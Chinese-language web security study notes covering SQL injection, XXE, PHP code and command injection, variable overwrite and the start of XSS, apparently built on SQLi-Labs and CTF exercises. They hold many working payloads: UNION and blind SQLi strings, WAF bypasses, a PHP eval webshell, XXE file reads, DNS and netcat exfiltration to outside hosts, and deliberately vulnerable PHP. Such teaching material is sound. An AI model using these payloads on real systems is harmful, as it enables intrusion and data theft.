3、Web安全基础
3.1、HTTP协议
1)TCP/IP协议-HTTP
- 应用层:HTTP、FTP、TELNET、DNS、POP3
- 传输层:TCP、UDP
- 网络层:IP、ICMP、ARP
2)常用方法-Method
- GET:向特定的资源发出请求
- POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
- HEAD:向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以在不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。
- PUT:向指定资源位置上传其最新内容。
- DELETE:请求服务器删除Request-URL所标识的资源。
- OPTIONS:返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性。
- TRACE:回显服务器收到的请求,主要用于测试或诊断。
2) HTTP-常见的响应状态码*
- 1xx:指示信息—表示请求已接收,继续处理。
- 2xx:成功—表示请求已经被成功接收、理解、接受。
- 3xx:重定向—要完成请求必须进行更进一步的操作。
- 4xx:客户端错误—请求有语法错误或请求无法实现。
- 5xx:服务器端错误—服务器未能实现合法的请求。
3.2、SQL注入
SQL注入是直接面对数据库进行攻击的。主要有以下几种危害:
1.权限较大情况下,可以通过SQL注入直接写入webshell或者直接执行系统命令。
2.权限较小情况下,可通过注入获得管理员权限、拖库等等
易发问题点
SQL注入经常出现在登陆页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方。登陆页面主要发生在HTTP头中的client-ip和x-forward-for,这些一般用来记录登陆的ip。
注入类型
回显注入
报错注入
Boolean盲注
Timing盲注
MySQL内置函数
version() 版本
database() 数据名
user()
current_user() 当前登录用户
@@datadir 数据库路径
@@basedir mysql安装路径
@@version_compile_os 操作系统
concat_ws() 将多个字符串连接成一个字符串
SQL注入常见后台拼接语句
1.$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;(需闭合’)
2.$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
3.$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;(需闭合’))
4.$id = ‘”’ . $id . ‘”’;
$sql=”SELECT * FROM users WHERE id=($id) LIMIT 0,1”;
即$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1”;(需闭合”),此时你输入’不会报错)
5.$sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”;(少见)
MySQL5注入枚举数据库步骤
# 获取数据库
select * from users where id='1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)--+
# 获取表名
select * from users where id='1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='数据库名字'(最常用的是十六进制表示的数据库,’容易被过滤) limit 3,1--+
# 获取列名
select * from users where id='1' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=0x十六进制数据库 and table_name=0x十六进制表 limit 0,1--+
# 获取内容
select * from users where id='1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password)(concat_ws用法:分割符,列名) from users(表名) limit 0,1--+
ascii码中32是空格,58是:
注入剖析
- 回显注入
有回显,可以看到某些字段的回显结果(通常)
猜解出字段数目
最方便的注入方式就是使用Union语句填充查询结果,额外执行一次查询
select * from news where id = 1 union select 1,2,3,4;
- 报错注入
无正常回显时报错注入。
# floor() 语句:
and (select 1 from (select count(*),concat(char(0x7E),(select user()),char(0x7E),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
# updatexml() 语句:
and (updatexml(1,concat(0x3a,(select user())),1));
# ExtractValue() 和upadtexml()用法差不多语句:
and extractvalue(1, concat(0x5c, (select user())));
- Boolean盲注
在没有数据回显的情况下,可以存在不同的页面内容回显
通常逐个爆破猜解,效率偏低
思路:利用回显的不同推测SQL语句执行的结果是True还是False
# SQLi-Labs Less 11 Payload:
admin' and password>'adm123'
# HTTP REQUEST
POST /Less-11/ HTTP/1.1
Host: localhost
Content-Length: 67
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
uname=admin' and password>'adm§123§'#&passwd=asd&submit=Submit
# 实际执行
SELECT username, password FROM users WHERE username='admin' and password>'ad8'#' and password='asd' LIMIT 0,1
- Timing盲注
页面不存在不同回显,但SQL语句被执行
逐个爆破猜解+时间延迟,效率最低
利用:if (query=True) delay(1000);else pass;的程序逻辑,通过观察是否发生了时间延迟来推测SQL语句的执行情况是否为True
payload:
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行sleep
截取字符串相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
left(database(),1) 取database字符串的左边第一个无法报错注入,尝试盲注
SQL注入示例
- SQLi-Labs Less1 测试Payload
# 测试Pyaload
' and 1=1
‘ and 1=2
') and 1=1
'--+
"--+
'/**/and/**/1=1%23
# 读取数据库
http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,schema_name from information_schema.schemata limit 0,1 %23
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
# 读取数据库表名
http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1 %23
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
# 获取列名
http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+
+----+----------+----------+
| id | username | password |
+----+----------+----------+
# 获取内容
http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password) from users limit 0,1--+
# 报错注入
http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select user())),1)) %23
http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select username from users limit 2,1)),1)) %23
文件读写
读取敏感文件,权限较大时,可以直接写shell
- 函数说明
@@basedir 获取MySQL位置
load_file() :读取文件
into dumpfile():导出文件
into outfile() :导出文件
- 测试语句
# 先尝试能否获得路径,不能的话,就尝试常用的路径
http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,@@basedir%23
# 读取密码文件
http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(‘/etc/passwd’)%23
# 变换形式 - ascii编码
- 转换方法
mysql> select conv(hex('D'),16,10);
+----------------------+
| conv(hex('D'),16,10) |
+----------------------+
| 68 |
+----------------------+
1 row in set (0.00 sec)
- 转换形式 解码
mysql> select char(68,58,92,92,84,69,83,84,46,116,120,116);
+----------------------------------------------+
| char(68,58,92,92,84,69,83,84,46,116,120,116) |
+----------------------------------------------+
| D:\\TEST.txt |
+----------------------------------------------+
- Payload
http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(char(68,58,92,92,84,69,83,84,46,116,120,116))%23
# 变换形式 - hex编码
- 转换方法
mysql> select hex("D:\\test.txt");
+------------------------+
| hex("D:\\test.txt") |
+------------------------+
| 443A5C746573742E747874 |
+------------------------+
1 row in set (0.00 sec)
- 转换形式 解码
mysql> SELECT X'443A5C746573742E747874';
+---------------------------+
| X'443A5C746573742E747874' |
+---------------------------+
| D:\test.txt |
+---------------------------+
1 row in set (0.00 sec)
- Payload
16进制编码导出文件内容到网页可访问页面,从而获取数据
http://localhost/Less-1/index.php?id=1'/**/and/**/1=2/**/union/**/select/**/1,load_file(0x443A5C746573742E747874)%23
- 写文件
file_name处要指定绝对路径,否则就会导出到mysql的目录下。同时对需导出的目录有可写权限。
SELECT * INTO OUTFILE 'file_name’
SELECT * INTO DUMPFILE ‘file_name’
获取Webshell的前提是知道网站的绝对物理路径,这样导出后的webshell可访问
select "<?php eval($_POST['z']);?>" into outfile'D:/web/shell.php';
# Tips:
secure-file-priv这个参数限制了outfile、dumpfile的导入导出权限。使用show命令可以看到secure_file_priv的配置。
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
- 当Null的时候,表示限制MySQL的导入|导出
- 当为某个根目录的时候,表示限制为只能在指定目录导入|导出
- 当没有具体值得时候,表示不对导入|导出的目录限制
Waf绕过
- 双写关键字
# 应对
简单的将select、or等关键字替换为空字符串的防御
# payload
seselectlectfrom 、where username='x' OorR1=1
- 大小写绕过
# 应对
简单的区分大小写的关键字匹配,比如php中preg_match函数没有加/i参数
# payload
SelecT,Or
- 编码绕过
•ASCII:
例如admin可以用char(97)+char(100)+char(109)+char(105)+char(110)代替
select * from users where username=(char(97)+char(100)+char(109)+char(105)+char(110))
select * from users where username=char(97,100,109,105,110);
•16进制:
mysql> select extractvalue(0x3C613E61646D696E3C2F613E,0x2f61);
+-------------------------------------------------+
| extractvalue(0x3C613E61646D696E3C2F613E,0x2f61) |
+-------------------------------------------------+
| admin |
+-------------------------------------------------+
1 row in set (0.00 sec)
•unicode编码:
单引号——%u0027 、%u02b9、%u02bc、%u02c8、%u2032、%uff07
•URL编码:
or 1=1——%6f%72%20%31%3d%31
- 变换关键字绕过
Or <------------> ||、and <--------> &&
空格被限制:select(username)from(admin)
科学计数法绕过:where username=1e1union select
mysql> select * FROM users where username=1e1union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
=、<、>被限制:where id in (1,2)、where id between 1 and 3、like
access中使用dlookup绕过select from被限制:(user=12',info=dlookup('[user]','userinfo','[id]=1')%00)
- 特殊字符
空格被限制:/**/、%a0、%0a、%0d、%09、tab....
内联注释:select 1 from /*!admin*/ /*!union*/ select 2,
mysql> select * FROM users where id = 1 /*!and 1=2*/ /*!union*/ select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
MYSQL对%00不会截断:se%00lect
单一%号,在asp+iis中会被忽略:sel%ect
``mysql反引号之间的会被当做注释内容
- 二次注入
攻击者将恶意SQL语句插入到数据库中,程序对数据库内容毫无防备,直接带入查询。
对来自于内部的输入输出过于信任。
- 宽字节
很多程序使用gbk编码的情况下,和unicode编码的组成形式不同造成这样的漏洞。
当数据库使用了宽字符集(如GBK),会将一些两个字符单做一个字符,如:0xbf27、0xbf5c
反斜杠是0x5c,使用addslashes()等转义函数在处理输入时会将'、\、”这些字符用反斜杠转义,输入0xbf27,转以后变成了0xbf5c27,5c被当做了汉字一部分,单引号0x27逃逸出来。前提条件是前一个ascii码要大于128,才到汉字的范围。
# SQLi-Labs Less32测试语句
http://localhost/Less-32/index.php?id=1%df%27 and 1=2 union select 1,2,3--+
以上语句在MySQL中查询其实已经变成了一个汉字,单引号逃逸了出来。因为’被转义成\’,而前面的%df与转义符号\(%5c)组合成了%df%5c,即運字。从而吃掉了\,导致单引号可以闭合
# 实际查询语句
SELECT * FROM users WHERE id='1運' and 1=2 union select 1,2,3-- ' LIMIT 0,1
- DNS传输
SQL Server的DNS注入和MySQl稍有不容,但都是利用了SMB协议。其中的.hacker.site是搭建的DNS域名服务器的地址。
http://ceye.io 是提供DNS传输服务的网址。
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
SQLMAP常用参数
- POST注入
python sqlmap.py -r ~/Desktop/sqlmap.txt --level 3 --risk 3
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3
- 读取文件
sqlmap.py -u "http://localhost/vulnerabilities/fu1.php?id=1" --level 5 --risk 3 --file-read /tmp/key
- temper组合使用
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3 -v --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
# 读取库、表、列
sqlmap.py -u "" --dbs --level 5 --risk 3 -v 3 --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10
# 读取文件
sqlmap.py -u "" --file-read "" --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10
- space2comment.py:空格转/**/的形式注入。
- radomcase.py:大小写变换
- space2mysqldash.py:变换关键字
手动绕过
多个关键字替换
http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uniunionon/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23
http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uunionnion/**/select/**/1,2,3,4,5,6,7/**/anandd/**/(%27
http://localhost/vulnerabilities/fu1.php?id=1')/**/aandnd/**/1=2/**/uunionnion/**/select/**/1,2,load_file('/etc/passwd'),4,5,6,7/**/anandd/**/('
SQL注入防御
字符串拼接形式:
过滤单引号、双引号、反斜杠等等关键词
转义:addslashes、mysqli_real_escape_string
使用pdo:
在PHP5.3.6及以下版本需要设置setAttribute(PDO::ATTR_EMULATE_PREPARES,false);来禁用preparedstatement仿真效果
3.3、XXE
基础知识
- XML基础
XML(Extensible Markup Language)被设计用来传输和存储数据。
文档类型定义:DTDwikipedia关于这的描述是:The XML DTD syntax is one of several XML schema languages。DTD的作用是定义XML文档的合法构建模块。实体也是构建模块之一。因此可以利用DTD来内部或外部引入实体。通过引用定义在外部的DTD中的实体,我们称之为外部实体。
<!DOCTYPE 根元素名 [元素描述]>
内部引用
<!ENTITY 实体名称 "实体的值">
外部引用
<!ENTITY 实体名称 SYSTEM "URI">
- 函数说明
SimpleXML 函数
simplexml_import_dom — 从DOM节点获取SimeXMLEngle对象
simplexml_load_file — 将XML文件解释为对象
simplexml_load_string — 将XML字符串解释为对象
函数演示:
<?php
$dom = new domDocument;
$dom->loadXML('<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file "Hello World!" >]>
<root>
<info>&file;</info>
</root>');
$xml = simplexml_import_dom($dom);
echo $xml->info;
?>
访问该XML文档,&file;会被解析为Hello World!并输出。
利用方式
利用文件协议读取本地文件,比如file协议。
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher | ||
phar |
file协议读取文件示例:
POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Referer: http://web.jarvisoj.com:9882/
Content-Length: 175
Cookie: __cfduid=d5003f0545042bbe0fbc573cda35051f71472823285; UM_distinctid=15abdd622a49f-02e5d4fef34197-7f682331-100200-15abdd622a5cf; role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
Connection: close
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:////home/ctf/flag.txt" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
漏洞代码:
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
show_source(__FILE__);
$xmlfile = file_get_contents('php://input'); //接受POST请求
echo '<br>';
if(strlen($xmlfile)>0){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom); //解析xml
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
}
?>
如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。
php://filter/read=convert.base64encode/rsource=
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >
]>
<root>
<user>&file;</user>
<pass>mypass</pass>
</root>
# 读取passwd文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<user>&xxe;</user>
<pass>mypass</pass>
</root>
其他攻击方式
- 命令执行
php环境下,xml命令执行要求php装有expect扩展。
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls"> # id
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
- 内网探测/SSRF
由于xml实体注入攻击可以利用http://协议发起http请求。所以可以利用该请求去探查内网进行SSRF攻击。
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
xxe漏洞防御
配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。可将外部实体、参数实体和内联DTD 都被设置为false,避免基于XXE漏洞的攻击。
3.4、代码注入
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
漏洞触发点
程序过滤不严谨,导致用户可以将代码注入并执行。高危函数:eval()、assert()、preg_replace()、call_user_func()....
文件包含注射,当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。高危函数:include()、include_once()、require()、require_once()
对于执行命令的函数,参数过滤不严谨,导致直接命令执行。高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()4.其他:反引号(`)可正常执行命令,实质是调用shell_exec()函数
**漏洞代码 **
- 命令执行 eval.php
eval和assert函数这两个函数原本作用用于动态执行代码。
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
Payload:
# windows
http://localhost/eval/index.php?hello=);eval($_GET['A']);//&A=system('whoami');
# linux
http://localhost/eval/index.php?hello=11);eval($_GET['c']);//&c=system('cat /etc/passwd');
# 一句话webshell
http://localhost/eval/index.php?hello=11);eval($_POST['c']);%2f%2f
- 命令执行 preg_replace.php
preg_replace函数用于对字符串进行正则处理,搜索\(subject中匹配\)pattern的部分,以\(replacement替换。当pattern中存在/e模式修饰符,即\)replacement会被看成PHP代码来执行。
函数原型:
mixed preg_replace(mixed $pattern, mixed $replacement,mixed $subject [, int $limit = -1 [,int&$count]] )
漏洞代码:
<?php
error_reporting(0);
show_source(__FILE__);
preg_replace("/\[(.*)\]/e","\\1",$_GET['str']);
Payload:
正则的意思是从$_GET[‘str’]变量里搜索中括号[]中间的内容作为第一组结果,preg_replace函数第二个参数为‘\1’代表这里用第一组结果填充,这里是可以直接执行代码的。
http://localhost/learn/preg.php?str=[phpinfo()]
- 文件包含 include.php
文件包含函数在特定条件下的代码注射,如include()、include_once()、require()、require_once()。当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。
<?php
error_reporting(0);
show_source(__FILE__);
include($_GET['a']);
Payload:
# 本地文件包含
http://localhost/learn/include.php?a=../phpinfo.php
# data:text/plain
http://localhost/learn/include.php?a=data:text/plain,<?php phpinfo();?>
- data:text/plain base64形式
http://202.112.51.130/learn/include.php?a=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==
# php://伪协议>> 访问各个输入/输出流
http://localhost/learn/include.php?a=php://filter/convert.base64-encode/resource=/etc/passwd
解开base64就得到原文
Tips:当head头有enctype=”multipart/form-data” 时,该伪协议无效。
# php://input形式
当hackbar发不出数据包,就用burpsuite构造数据包,实现一句话webshell效果
POST /learn/include.php?a=php://input HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4ln93lscu4sqfcn9je3u2660q2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
<?php system('pwd');?>
3.5、命令执行
高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()、system()—执行shell命令也就是向dos发送一条指令。
shell_exec()—通过shell环境执行命令,并且将完整的输出以字符串的方式返回。
exec()—执行外部程序
passthru()—执行外部程序并且显示原始输出系统命令。
通过|、&、||起到命令连接的作用,利用输入时的合理构造可以使想要执行的命令和原本命令连接执行。
- System.php
<?php
error_reporting(0);
show_source(__FILE__);
$dir = $_GET["dir"];
if(isset($dir))
{
echo "<pre>";
system("net user ".$dir); //漏洞函数
echo "</pre>";
}
?>
Payload:
http://localhost/system.php?dir=|whoami
- backquote.php
<?php
error_reporting(0);
show_source(__FILE__);
$a=$_GET['a'];
echo `$a`; //反引号被解析
Payload:
http://localhost/learn/fan.php?a=ls
- shell_exec.php
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
Payload:
当过滤了特殊符号,可以用换行符号的方法绕过继续执行命令。换行测试方法 %0a
http://localhost/ping/index.php?ip=127.0.0.1%0Acat index.php
绕过方法
- 查看文件
1、查看文件内容:
cat [file]
tac [file]
more [file]
less [file]
head [file]
tail [file]
2、改变key.php的文件后缀
mv 1.php 1.txt
cp 1.php 1.txt
tar: tar -cf 打包后的文件名 打包文件名
3、文件处理:
grep '关键字' [file_path]
awk '{print $0}' [file_path]
4、查看命令是否存在:
which ls
5、下载命令:
本地机器:Python -m SimpleHTTPServer
目标机器 curl -o linux.php http://www.linux.com/text.php
wget -O 保存的文件名.zip http://www.test.net/download.aspx
6、过滤cat,那么尝试通过管道命令利用NC发送文件。
本机执行:nc -lvv -p 4444
远程机器执行:nc 172.168.0.27 4444 < ../key.php
3.6、变量覆盖
变量覆盖指的是用自定的参数值来替换程序原有的变量值,变量覆盖漏洞通常需要结合程序其他功能进行利用。大多由函数使用不当导致,主要有以下几个函数:
\[,extract(),parse_str(),import_request_variables()等。
\]
开启了全局变量注册也容易导致变量覆盖。
- \[ 变量覆盖
\]
漏洞代码:
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("CTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value; // 变量覆盖
foreach ($_POST as $key => $value)
$$key = $value; //$$
if ( $_POST["flag"] !== $flag )
die($_403); //方法2:出现flag的关键位置
echo "This is your flag : ". $flag . "\n";
die($_200); //方法1:出现flag的关键位置
?>
代码分析
题目中两个foreach
使用了$$
产生变量覆盖问题,满足条件后会将$flag
里面的值打印出来。题目有三个if判断语句,当满足第一个if判断语句的条件,可以使用覆盖$_200
或$403
的方法打印出$flag
变量的值。 die($_200)
或 die($_403)
是可以将$flag
打印出来的地方。
Payload:
- 方法1:
POST /shell.php?_200=flag HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Length: 6
flag=1
- 方法2:
POST /shell.php?_403=flag&_POST=1 HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Length: 6
flag=1
- extract()
extract() 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
题目使用了extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件。
<?php
$flag = "xxx";
extract($_GET);
if (isset($gift)) {
$content = trim(file_get_contents($flag));
if ($gift == $content) {
echo "hctf{xx}";
} else {
echo "Oh..";
}
}
?>
Payload:
http://localhost//shell.php?flag=&gift=
- parse_str()
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
void parse_str ( string $encoded_string [, array &$result ] )
encoded_string
输入的字符串。
result
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
漏洞代码
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include (‘flag.php’);
$a = “www.CTF.com”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
}
?>
分析:
代码首先要求使用GET提交id参数,然后parse_str($id)对id
参数的数据进行处理,再使用判断$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)
的结果是否为真,为真就返回flag。
md5(‘QNKCDZO’)
的结果是0e830400451993494058024219903391
如果要满足if判断 if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’))
就需要利用php弱语言特性。
Payload:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
GET请求id=a[0]=240610708,这样会将a[0]的值覆盖为240610708,然后经过md5后得到0e462097431906509019562988736854与md5(‘QNKCDZO’)的结果0e830400451993494058024219903391比较都是0 所以相等,满足条件。
# MD5加密后,以0e开头的值
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
3.7、XSS漏洞挖掘与利用
1、漏洞危害
- 获取管理员Cookie,登录后台
- 获取后台地址
- 用户信息窃取
- Getshell
2、基础知识
- XSS漏洞挖掘与利用
1)Cookie的工作方式
XSS漏洞的主流利用方式是获取用户的Cookie执行一系列的操作。
Cookie的基本通信流程:
1.设置cookie
2.cookie被自动添加到request header中
3.服务端接收到cookie
需要理解的问题:
1.什么样的数据适合放在cookie中
对于设置“每次请求都要携带的信息(身份认证信息)”特别适合存放在cookie中。
2.cookie是怎么设置的
每个cookie都有一定的属性,如什么时候失效,要发送到哪个域名,哪个路径等等。这些属性是通过cookie选项来设置的,cookie选项包括:expires、domain、path、secure、HttpOnly。在设置任一个cookie时都可以设置相关的这些属性。代码示例如下:
